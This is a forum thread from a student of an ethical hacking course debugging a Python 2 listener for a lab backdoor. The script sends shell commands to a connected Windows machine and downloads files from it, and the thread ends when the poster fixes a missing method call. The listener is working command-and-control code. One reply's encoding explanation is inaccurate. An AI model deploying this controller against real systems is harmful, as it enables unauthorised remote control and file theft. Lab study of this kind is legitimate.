Python backdoor is not working

So i am following the course: Learn Python & Ethical Hacking From Scratch with Zaid.

And i am in the section where we setup a backdoor on our windows machine, and a listener in kali linux.

I have followed Zaid’s video 100% and this is the listener code:

#!/usr/bin/env python

import socket
import json

class Listener:
def init(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))

def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

def reliable_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue

def execute_remotely(self, command):
    self.reliable_send(command)
    if command[0] == "exit":
        self.connection.close()
        exit()

    return self.reliable_receive

def write_file(self, path, content):
    with open(path, "wb") as file:
        file.write(content)
        return "[+] Download successful."

def run(self):
    while True:
        command = raw_input(">> ")
        command = command.split(" ")
        result = self.execute_remotely(command)
        if command[0] == "download":
            result = self.write_file(command[1], result)

        print(result()) 

my_listener = Listener(“10.0.2.10”, 4444)
my_listener.run()


I had to rework print(result())

Otherwise it looked like this when doing system commands:

[+] Got a connection from (‘10.0.2.15’, 49848)

dir
<bound method Listener.reliable_receive of <main.Listener instance at 0x7f7aa7776190>>

But now when i try to download a sample.txt from my windows machine i get this error:

[+] Got a connection from (‘10.0.2.15’, 49846)

download sample.txt
Traceback (most recent call last):
** File “listener.py”, line 55, in **
** my_listener.run()**
** File “listener.py”, line 49, in run**
** result = self.write_file(command[1], result)**
** File “listener.py”, line 40, in write_file**
** file.write(content)**
TypeError: argument 1 must be string or buffer, not instancemethod

It am stuck in this point until i can make it work! have been spending days trying to figure it out :frowning: please help

You are getting an error while writing the file contents in the function def write_file(). It’s mostly to do with the Python version. You have to convert some byte characters to string in Python 2 as it doesn’t recognize them, but Python 3 does the conversion automatically. You can either use the str() method to do that or explicitly mentioning fomat=‘utf-8’ while writing the file content.

I found the problem it was here:

def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == “exit”:
self.connection.close()
exit()

return self.reliable_receive

I had to program this: return self.reliable_receive()

After i did that, everything worked :slight_smile:

It’s nice that it worked out.